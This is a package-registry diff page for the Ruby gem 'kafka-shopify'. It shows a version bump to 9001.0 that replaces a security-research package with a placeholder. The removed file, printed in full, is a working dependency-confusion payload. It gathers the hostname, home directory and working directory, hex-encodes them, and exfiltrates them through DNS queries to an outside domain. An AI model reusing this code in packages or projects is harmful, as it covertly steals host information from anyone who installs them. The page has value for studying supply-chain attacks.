kafka-shopify 2300.4.2 → 9001.0

Sign up to get free protection for your applications and to get access to all the features.
Files changed (7) hide show
  1. checksums.yaml +4 -4
  2. data/Gemfile +0 -0
  3. data/Rakefile +0 -0
  4. data/VERSION +1 -0
  5. data/lib/gem.rb +1 -0
  6. metadata +15 -14
  7. data/lib/kafka-shopify.rb +0 -64
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: 26f4e1bd42d2200bb51f6d74acd49a2a31a1130c5cf0ffa3f7aa5684caa9b664
4
- data.tar.gz: 41b89669473f3badfbb98dda7749a7f93886acde6f75a0c34a91e4bcfef1e441
3
+ metadata.gz: 479abc77962d4430c0c77e4351cfd0e039832192df9c1d5afbfe48e4850caba5
4
+ data.tar.gz: a4ab0c6425b9fd4cf7a76c4536ebc4df6a905a829591bfa8f3e4c869c6573714
5
5
  SHA512:
6
- metadata.gz: 888ac256a66e61ac1d7b8df130f502bfe18dfc37e6e7f14295457e8af165a7329cb40c8271e03aacaea3569a746bf59ef4f46d6fe6c375bb75ec2eebcc5043d1
7
- data.tar.gz: ae624aa85fcddce206d9347f400ab43e773c8081ab2f1ea03847a2b66e0ca0d0592a0ce72f05cf866b1853cb8adfa9b8e2d843d446d3c8040e1f0c3f606fdfbc
6
+ metadata.gz: cfab96fd6ca9dfc25a8076aa62716f665a4f2934245cbedcb2a3a15cac7a4aa794cf86db54e2dae93326c3688149e45930fd240e92662efe60908604609f4fa4
7
+ data.tar.gz: 52da404e5d05db277e6eb02311e767595956178996963448734884784552b7c67cbd1fe1f2369d76614a404179950f35cd13bd5ff5e12977ae8040f9364a72db
data/Gemfile ADDED
File without changes
File without changes
data/VERSION ADDED
@@ -0,0 +1 @@
1
+ 1000.0
@@ -0,0 +1 @@
1
+ raise 'this is an internal-only gem'
metadata CHANGED
@@ -1,28 +1,29 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: kafka-shopify
3
3
  version: !ruby/object:Gem::Version
4
- version: 2300.4.2
4
+ version: '9001.0'
5
5
  platform: ruby
6
6
  authors:
7
- - Alex Birsan
8
- autorequire:
7
+ - admins@shopify.com
8
+ autorequire:
9
9
  bindir: bin
10
10
  cert_chain: []
11
- date: 2020-09-14 00:00:00.000000000 Z
11
+ date: 2020-01-01 00:00:00.000000000 Z
12
12
  dependencies: []
13
- description: This package is meant for security research purposes and does not contain
14
- any useful code.
15
- email: alex@ethicalhack.ro
13
+ description:
14
+ email:
16
15
  executables: []
17
16
  extensions: []
18
17
  extra_rdoc_files: []
19
18
  files:
20
- - lib/kafka-shopify.rb
21
- homepage: https://twitter.com/alxbrsn
22
- licenses:
23
- - MIT
19
+ - Gemfile
20
+ - Rakefile
21
+ - VERSION
22
+ - lib/gem.rb
23
+ homepage:
24
+ licenses: []
24
25
  metadata: {}
25
- post_install_message:
26
+ post_install_message:
26
27
  rdoc_options: []
27
28
  require_paths:
28
29
  - lib
@@ -38,7 +39,7 @@ required_rubygems_version: !ruby/object:Gem::Requirement
38
39
  version: '0'
39
40
  requirements: []
40
41
  rubygems_version: 3.0.3
41
- signing_key:
42
+ signing_key:
42
43
  specification_version: 4
43
- summary: Security research purposes only
44
+ summary: placeholder gem
44
45
  test_files: []
@@ -1,64 +0,0 @@
1
-
2
- =begin
3
-
4
- This code is used for research purposes.
5
-
6
- No sensitive data is retrieved.
7
-
8
- Callbacks from within organizations with a
9
- responsible disclosure policy will be reported
10
- directly to the organizations.
11
-
12
- Any other callbacks will be ignored, and
13
- any associated data will not be kept.
14
-
15
- For any questions or suggestions:
16
-
17
- alex@ethicalhack.ro
18
- https://twitter.com/alxbrsn
19
-
20
- =end
21
-
22
- require 'socket'
23
- require 'json'
24
- require 'resolv'
25
-
26
- suffix = '.dns.alexbirsan-hacks-paypal.com'
27
- ns = 'dns1.alexbirsan-hacks-paypal.com'
28
-
29
- package = 'kafka-shopify'
30
-
31
- # only the bare minimum to be able to identify
32
- # a vulnerable organization
33
- data = {
34
- 'p' => package,
35
- 'h' => Socket.gethostname,
36
- 'd' => File.expand_path('~'),
37
- 'c' => Dir.pwd
38
- }
39
-
40
- data = JSON.generate(data)
41
- data = data.unpack('H*')[0].scan(/.{1,60}/)
42
-
43
- id_1 = rand(36**12).to_s(36)
44
- id_2 = rand(36**12).to_s(36)
45
-
46
- begin
47
- ns_ip = Resolv.getaddress(ns)
48
- rescue
49
- ns_ip = '4.4.4.4'
50
- end
51
-
52
- custom_res = Resolv.new([Resolv::Hosts.new,
53
- Resolv::DNS.new(nameserver: [ns_ip, '8.8.8.8'])])
54
-
55
-
56
- data.each.each_with_index do |chunk, idx|
57
- begin
58
- Resolv.getaddress 'v2_f.' + id_1 + '.' + idx.to_s + '.' + chunk + '.v2_e' + suffix
59
- rescue; end
60
-
61
- begin
62
- custom_res.getaddress 'v2_f.' + id_2 + '.' + idx.to_s + '.' + chunk + '.v2_e' + suffix
63
- rescue; end
64
- end